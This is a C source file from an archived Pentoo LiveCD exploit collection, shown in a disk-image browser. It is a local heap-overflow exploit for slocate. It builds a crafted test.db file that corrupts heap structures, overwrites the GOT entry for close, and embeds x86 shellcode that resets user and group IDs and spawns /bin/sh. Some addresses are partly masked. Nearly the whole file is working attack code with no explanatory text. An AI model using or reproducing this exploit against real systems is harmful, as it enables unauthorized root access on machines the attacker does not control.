home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / slocate-heap-ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  143 lines

  1. #include <stdio.h>
  2.  
  3. #define CODEDPATH   0x0805**20
  4. #define DATABASE    0x4002**08
  5. #define JUMP_BY     0x38
  6. #define GOT_CLOSE   "\x5c\x**\x04\x08"
  7.  
  8.  
  9. #define CODED_LENGTH    0x1008
  10. #define PATTERN_LENGTH  0x508
  11.  
  12.  
  13. #define STEP_LENGTH 0x1000000
  14.  
  15.  
  16.  
  17. int path_len = 0;
  18. int file_pos = 0;
  19.  
  20. FILE *f;
  21.  
  22. void write_buffer(int move,char *buffer,int len,int stop)
  23. {
  24.   char b[3];
  25.  
  26.   if (move > 127 || move < -127)
  27.   {
  28.     b[0] = -128;
  29.     b[1] = (char)(move >> 8);
  30.     b[2] = (char)(move % 256);
  31.     fwrite(b,1,3,f);
  32.     file_pos += 3;
  33.   }
  34.   else
  35.   {
  36.     b[0] = (char)move;
  37.     fwrite(b,1,1,f);
  38.     file_pos += 1;
  39.   }
  40.  
  41.   if (stop)
  42.     buffer[len] = 0;
  43.  
  44.   fwrite(buffer,1,len + 1,f);
  45.   file_pos += len + 1;
  46.   path_len += move;
  47. }
  48.  
  49. void skip_to_filepos(int move,int pos)
  50. {
  51.   char b[1024];
  52.  
  53.   while (pos > file_pos + 1002)
  54.   {
  55.     memset(b,'A',998);
  56.     write_buffer(move,b,998,1);
  57.   }
  58.  
  59.   write_buffer(move,b,pos - file_pos - 2,1);
  60. }
  61.  
  62. void write_to_addr(int address,char *str)
  63. {
  64.   write_buffer((address - CODEDPATH) - path_len,str,strlen(str),0);
  65. }
  66.  
  67. void write_int(char *buffer,int n)
  68. {
  69.   int i;
  70.   for (i=0;i<4;i++)
  71.   {
  72.     buffer[i] = (char)(n % 256);
  73.     n >>= 8;
  74.  
  75.     if (buffer[i] == 0)
  76.     {
  77.       printf("Warning, zero byte!\n");
  78.       exit(-1);
  79.     }
  80.   }
  81. }
  82.  
  83. int main(int argc,char **argv)
  84. {
  85.   char b[32768];
  86.   int i;
  87.  
  88.   f = fopen("test.db","w");
  89.  
  90.   b[0] = '0';
  91.   fwrite(b,1,1,f);
  92.  
  93.   write_buffer(0,b,0,1);
  94.  
  95.   skip_to_filepos(0,CODEDPATH - 8 + CODED_LENGTH + JUMP_BY * STEP_LENGTH - DATABASE);
  96.  
  97.  
  98.   memset(b,0,8);
  99.   b[4] = 17;
  100.   memset(b + 8,0,8);
  101.   fwrite(b,1,16,f);
  102.   fwrite(b,1,16,f);
  103.   file_pos += 32;
  104.   path_len += 34;
  105.  
  106.   skip_to_filepos(0,file_pos + 1000000);
  107.  
  108.   b[0] = JUMP_BY;
  109.   b[1] = 'A';
  110.   write_buffer(-path_len - 1,b,2,1);
  111.  
  112.   memset(b,'A',2);
  113.   write_buffer(16384,b,2,1);
  114.  
  115.   write_to_addr(CODEDPATH + CODED_LENGTH - 3,"\x05");
  116.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8,"");
  117.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 1,"");
  118.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 2,"");
  119.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 3,"");
  120.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 4,"\x11");
  121.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 6,"");
  122.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 7,"");
  123.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH,GOT_CLOSE);
  124.  
  125.   write_int(b,CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16);
  126.   b[4] = 0;
  127.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 4,b);
  128.  
  129.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 8,"\x10");
  130.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 10,"");
  131.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 11,"");
  132.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 12,"\x10");
  133.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 14,"");
  134.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 15,"");
  135.  
  136.   write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16,
  137.  
  138. "\x31\xc0\x31\xdb\xb3\x15\xeb\x23\x90\x90\x90\x90\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\
  139. x89\xd8\x40\xcd\x80\x89\xd9\xb0\x47\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh");
  140.   fclose(f);
  141. }
  142.  
  143.